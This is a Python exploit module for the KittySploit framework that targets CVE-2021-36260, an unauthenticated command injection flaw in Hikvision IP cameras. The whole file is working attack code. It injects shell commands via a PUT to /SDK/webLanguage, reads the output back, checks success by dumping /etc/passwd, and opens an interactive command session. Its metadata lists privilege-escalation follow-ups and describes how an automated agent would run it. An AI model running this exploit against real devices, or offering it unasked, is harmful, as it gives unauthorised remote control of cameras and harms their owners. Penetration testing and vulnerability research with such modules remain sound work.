Hikvision IP Camera - webLanguage Command Injection (CVE-2021-36260)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Hikvision IP camera unauthenticated RCE (CVE-2021-36260) — opens execute session."""

import re
import secrets

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Hikvision IP Camera - webLanguage Command Injection (CVE-2021-36260)',
        'description': (
            'Exploits CVE-2021-36260 by injecting OS commands into PUT /SDK/webLanguage, '
            'writing stdout under webLib/<token> and reading it back. Opens an interactive '
            'execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-36260'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/',
            'https://nvd.nist.gov/vuln/detail/CVE-2021-36260',
        ],
        'tags': ['hikvision', 'camera', 'iot', 'rce', 'cmdi', 'unauth', 'kev', 'cve-2021-36260'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'post/shell/multi/gather/privesc_suggester',
                    'scanner/http/cve_2021_36260_detect',
                ],
            },
        },
    }

    def _headers(self):
        return {
            'X-Requested-With': 'XMLHttpRequest',
            'Content-Type': 'application/x-www-form-urlencoded',
        }

    def execute(self, cmd: str) -> str:
        name = secrets.token_hex(6)
        # Avoid nesting issues in XML/shell: write stdout then fetch.
        safe = str(cmd).replace('"', '\\"')
        payload = (
            '<?xml version="1.0" encoding="UTF-8"?>'
            f'<language>$({safe}>webLib/{name})</language>'
        )
        self.http_request(
            method='PUT',
            path='/SDK/webLanguage',
            data=payload,
            headers=self._headers(),
            allow_redirects=False,
        )
        r = self.http_request(
            method='GET',
            path=f'/{name}',
            headers=self._headers(),
            allow_redirects=False,
        )
        self.http_request(
            method='PUT',
            path='/SDK/webLanguage',
            data=(
                '<?xml version="1.0" encoding="UTF-8"?>'
                f'<language>$(rm -rf webLib/{name}>webLib/{name})</language>'
            ),
            headers=self._headers(),
            allow_redirects=False,
        )
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('cat /etc/passwd')
        if re.search(r'root:.*:0:0:', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2021-36260 confirmed: /etc/passwd via webLanguage',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'No command output observed',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()